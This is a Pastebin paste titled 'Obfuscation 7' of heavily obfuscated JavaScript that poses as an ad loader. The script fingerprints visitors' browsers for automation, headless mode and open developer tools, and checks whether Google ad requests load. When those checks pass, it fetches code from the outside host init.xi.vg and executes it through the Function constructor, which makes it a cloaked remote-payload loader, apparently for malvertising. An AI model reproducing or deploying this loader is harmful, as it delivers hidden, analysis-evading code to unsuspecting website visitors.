SHARE
TWEET

Obfuscation 7

StanislavPipa Aug 27th, 2019 108 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var URL = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function(){
  4.   setTimeout(function() {
  5.     var list, pair, lists, input, supplied, equality;
  6.  
  7.     function truncate(take, satisfies) {
  8.       return satisfies ? take.toLowerCase() : take[0].toUpperCase()+take.substring(1);
  9.     }
  10.  
  11.     function view (lens) { return lens.split('').reverse().join('') }
  12.     function identity(dec, inc) { return new RegExp(dec, inc) }
  13.  
  14.     function update(value) {
  15.       var props = Object.keys(value); var values = props.map(function (prop) {
  16.         return value[prop];
  17.       }); return props.concat(values);
  18.     } list = navigator;
  19.  
  20.     function until(initial, type) {
  21.       lists = document; return type ? Object.keys(initial) : Object.keys(initial)
  22.         .map(function (init) { return initial[init] });
  23.     }
  24.  
  25.     function unnest(chain, level) { input = Blob; return chain.slice(level[0], level[1]) }
  26.     function unless(cond) { return cond.reduce(function (acc, sec) { return acc.concat(sec) }) }
  27.  
  28.  
  29.     var pred = '[a-zA-Z]', steps;
  30.     function containing(predicate) { return predicate.toString() }
  31.  
  32.     function uniq(original) {
  33.       return original.map(function (elts) {
  34.         return elts.reduce(function (acc, next, index) {
  35.           var uniq = true;
  36.           if (index === 1){ return [acc, next] }
  37.           acc.forEach(function (el) { if (next === el) { uniq = false } });
  38.           if (uniq) { acc.push(next); return acc }
  39.           return acc;
  40.         });
  41.       })
  42.     }
  43.  
  44.     function determine (data, equality) {
  45.       if (!equality.a){ return data.slice(equality.b) } return data.slice(equality.b, equality.a);
  46.     } var spec, where, when;
  47.  
  48.     function union(each, arg) { return arg.map(function (el) { return each[el] }) }
  49.  
  50.        setTimeout(function() {
  51.         pair = window; steps = function (data) {
  52.         var args = data.split(''); return args.map(function(step) {
  53.           if (step === String.fromCharCode(50)) {
  54.             return repeat()
  55.           } else if (step === String.fromCharCode(51)) {
  56.             return remove()
  57.           } else if (step === String.fromCharCode(52)) {
  58.             return reject()
  59.           } else if (step === String.fromCharCode(53)) {
  60.             return reduced()
  61.           }
  62.         });
  63.       }
  64.     }, 100);
  65.  
  66.     function seed(iterator, unary) { return unary ? iterator in unary : iterator in pair }
  67.  
  68.     var flops = function (pers, tent, web, open) {
  69.       if (pers && tent) {return pers.is = tent }
  70.       else if (web) {return web.kit.slice }
  71.       else if (open) {return open.data = 'base' }
  72.       else if (pers === 'screen') {return { color: 'depth'} }
  73.     };
  74.  
  75.     var flood = function(deb, plug) { return deb ? 'ug' : plug ? 'ins' : 'light' },
  76.     transpose, transduce, initialize, accumulator;
  77.  
  78.     var type = function() {
  79.       var elts = { web: 'assem', bly: 'side', bar: 'con', tent: 'rect' },
  80.         props = until(elts, true), vls = until(elts), res = [];
  81.         supplied = performance;
  82.  
  83.       props.forEach(function(property, index) {
  84.         vls.forEach(function(volue, ind) {
  85.           if (ind === index) { res.push(property); res.push(volue) }
  86.         });
  87.       });
  88.  
  89.       var keys = [[0, -18],[11, -11],[18, -4],[25]]; res = res.join('');
  90.  
  91.       return keys.map(function(key, index) {
  92.         if (index > 0 && index < 3) { return seed(unnest(res, key)) }
  93.         else if (index < 1) {
  94.           var tmp = truncate(unnest(res, key));
  95.           return seed(tmp.replace(tmp[3], truncate(tmp[3])));
  96.         } else {
  97.           return !seed(truncate(unnest(res, key)));
  98.         }
  99.       }).concat([1]);
  100.     };
  101.  
  102.     var trim = function() {
  103.       var sequence = { own: 'property', names: 'pth' },
  104.         into = containing(flops).match(/return.+/gi).map(function(elt) {
  105.           return elt.replace(/return|[.,:;={}']/g, '').replace(/\s+/gi, '');
  106.         }), list = [];
  107.  
  108.       until(sequence, true).forEach(function(prop, ind) {
  109.         until(sequence).forEach(function(vol, key) {
  110.           return ind === key ? list.push(truncate(prop) + truncate(vol)) : truncate(prop + vol);
  111.         });
  112.       }); spec = 'gi';
  113.  
  114.       list = [[0,-3], [-3]].map(function(el) { return unnest(list.join(''), el) });
  115.  
  116.       var tmp = [[0, 5], [5]].map(function(key, ind) {
  117.         return ind > 0? truncate(unnest(into[3], key)) : unnest(into[3], key);
  118.       }).join(''); equality = screen;
  119.  
  120.       return [
  121.         (seed(into[0].toUpperCase())||
  122.           input.prototype[into[1].slice(0, -5)+
  123.           into[1][6].toUpperCase()+into[1].substring(7)]), seed( unnest(into[2], [0, -8])+
  124.           truncate(unnest(into[2], [-8]))),
  125.         equality[tmp],
  126.         !(Object['get'+list[0]](equality)[0]+'').match(list[1].toLowerCase())
  127.       ]
  128.         .reduce(function(acc, sec) { return acc && sec });
  129.     };
  130.  
  131.     var traverse = function(data, arg) { var tmp = arg.split(' ');
  132.       return seed(view('tla'), data[data.nodeName
  133.         .replace('#','')+truncate(tmp[1])][tmp[0]])
  134.     };
  135.  
  136.     var transform = function(data) {
  137.       var into = uniq([containing(data).match(identity(pred+'{2,5}', spec))])[0]
  138.         .map(function(el, ind) {
  139.           return ind > 1 && ind < 4 ? el : ind > 4 ? el : '';
  140.         })
  141.         .filter(function(el) {return el.length > 0}), res = [];
  142.  
  143.       for (var i = 0; i < 3; i++) {
  144.         if (i === 0) { res.push(truncate(into[i]+into[i+2])) }
  145.         else if (i === 1) { res.push(into[i]+into[i+2]) }
  146.         else { res.push(into[i+2]) }
  147.       }
  148.  
  149.       return [seed(res[0]), !(list[res[1]][1] && list[res[1]][1].name.match(res[2]))]
  150.         .reduce(function(acc, sec) { return acc && sec });
  151.     };
  152.  
  153.     function repeat() {
  154.       transpose = type().reduce(function(acc, sec) { return acc && sec; });
  155.       transduce = trim();
  156.       initialize = traverse(lists, 'style element');
  157.       accumulator = transform(flood);
  158.       return [transpose, transduce, initialize, accumulator];
  159.     }
  160.  
  161.     var accepts = { HTTP: "java", pagead: "enabled", google: "com", syndication: 'h2' , gen: "security" },
  162.     acts, subtract, present, tail; where = new Image();
  163.  
  164.     function bar(field, data, key) { return seed(('se' + key), field) ? 4 : data ? 2 : 1 }
  165.  
  166.     function convert(folder, key, el) {
  167.       var els = until(folder, true).map(function(el) { return truncate(el, true) }),
  168.         tmp = els.reduce(function(acc, sec, ind) { if (ind === 1 ) {
  169.           return acc + 's://' + sec + 2;
  170.         } else if (ind === 2) { return acc + '.' + sec } else if (ind === 3) {
  171.           return acc + sec + '.com/';
  172.         } else if (ind === 4) { return acc + els[1]+'/'+ sec + el }
  173.         });
  174.       return { s: 0, d: [], u: tmp, n: key ? 6 : 2 };
  175.     }
  176.  
  177.     function order(foo, baz, one, aig) { return typeof (baz) == typeof foo ||
  178.       (list[until(one)[0]+truncate(until(one)[1])]+aig.d).match(/"/);
  179.     }
  180.  
  181.     function times(identity, thunk, tap) { return identity || thunk ? /"/: tap }
  182.  
  183.    function remove() {
  184.      acts =  bar(lists, accumulator, 'curity');
  185.      subtract = convert(accepts, transduce, '_204?');
  186.      present = order(traverse, 'crypto', accepts, subtract);
  187.      tail = times(transpose, accumulator, where);
  188.      return [acts,subtract,present,tail];
  189.    }
  190.  
  191.    var similarly = { xml: 'request', get: 'load', ready: 'status', state: 'response' }, sort, copy;
  192.  
  193.    function split(data, volue, arg) {
  194.      var tmp1 = update(data); return function(a,b,c){
  195.        b = new pair[tmp1[0].toUpperCase()+truncate(update(volue)[0]
  196.          .toLowerCase())+truncate(tmp1[4])](); b.open(tmp1[1], a);
  197.        b[view(arg)](tmp1[5], function() { this[tmp1[2]+truncate(tmp1[3])]==4 &&
  198.        this[tmp1[6]]==200 && c(this[tmp1[7]+'Text'])()}); b.send();
  199.      };
  200.    }
  201.  
  202.    function separator(base, name, accord) {
  203.      return function(a, b) { base(a, b, name.join[accord + 'ructor']) };
  204.    }
  205.  
  206.    function reject() {
  207.      sort = split(similarly, accepts, 'renetsiLtnevEdda');
  208.      copy = separator(sort, pair['Array'].prototype, 'const');
  209.      return [sort, copy];
  210.    }
  211.  
  212.    var given = { user: { xoferif: 'tnedirt', irafas: 'egde' } }, inclusive, exclusive;
  213.  
  214.    function set(obj, arr) {
  215.      var tmp = Object.keys(obj.agent).concat(Object.keys(obj)
  216.          .map(function(el) { return truncate(el) })).join(''),
  217.        newArr = arr.concat([accumulator, accumulator]);
  218.  
  219.      return update(obj.agent.user).map(function(each, ind) {
  220.        return list[tmp].match(identity(view(each), 'i')) && newArr[ind];
  221.      })
  222.        .reduce(function(acc, sec) { return acc || sec });
  223.    }
  224.  
  225.    var tomato = { on: 'max', touch: 'touch', start: 'point' }; when = new Date;
  226.  
  227.    function Just(obj) {
  228.      var tmp = until(obj).map(function(each, ind) { return ind > 0 ? truncate(each) : each });
  229.      return !(transduce&&!(list[tmp.join('')+'s']||seed(until(obj, true).join(''))))
  230.    }
  231.  
  232.    function reduced() {
  233.      inclusive = set({agent: given}, [transpose, (transduce||initialize)]);
  234.      exclusive = Just(tomato);
  235.      return [inclusive, exclusive];
  236.    }
  237.  
  238.    setTimeout(function() {
  239.      var scan = steps('2345');
  240.  
  241.      function gol(keys) { return keys ? 'sole' : keys.con }
  242.  
  243.      function pars(obj, keys) {
  244.        var els = containing(obj).match(identity(pred+'{3}', 'gi'));
  245.        var tmp = keys.map(function(key, ind) {
  246.          return ind === 2 ? view(els[key]) : ind === 1 ? els[key] +'e' : els[key];
  247.        });
  248.        return [tmp[0] + tmp[1], tmp[2]];
  249.      }
  250.  
  251.      var poof = function(data, key){
  252.        return key ? function(){ data--; return''} : function(){ acts--; return''};
  253.      };
  254.  
  255.      var pond = {get: 'resource', Entries: 'hop', By: 'h2', Type: 'protocol'};
  256.  
  257.      function reverse(data) {
  258.        var tmp = until(data); return function(){
  259.          if( !supplied[until(data, true).join('')]
  260.            || !supplied[until(data, true).join('')](tmp[0]).length ) { copy(URL);
  261.          } else {
  262.            supplied.getEntriesByType(tmp[0]).forEach(function(a){
  263.              a.name.match(subtract.u)&&(a['next'+truncate(tmp[1])+truncate(tmp[3])]
  264.                ||tmp[2]).slice(~subtract.d)==subtract.n&&copy(URL);
  265.            });
  266.          }
  267.        };
  268.      }
  269.  
  270.      +function(){
  271.        var initAdsLoader = function(a, b){
  272.          if (scan[3][0]){
  273.            if( a && scan[3][1] ) {
  274.              tail.__defineGetter__(scan[0][0]||scan[0][3]?'to'+truncate(typeof similarly.xml):'id', poof());
  275.              tail.id = until(tomato, true)[0]+view('elggot');
  276.              pair[b[0]][b[1]](tail);
  277.              where.onerror = reverse(pond);
  278.              acts&&(where.src=subtract.u+(when).getTime());
  279.            }
  280.          }
  281.        };
  282.        initAdsLoader( !present, pars(gol, [9,7,2]));
  283.      }();
  284.    }, 200);
  285.  }, 100);
  286. }();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top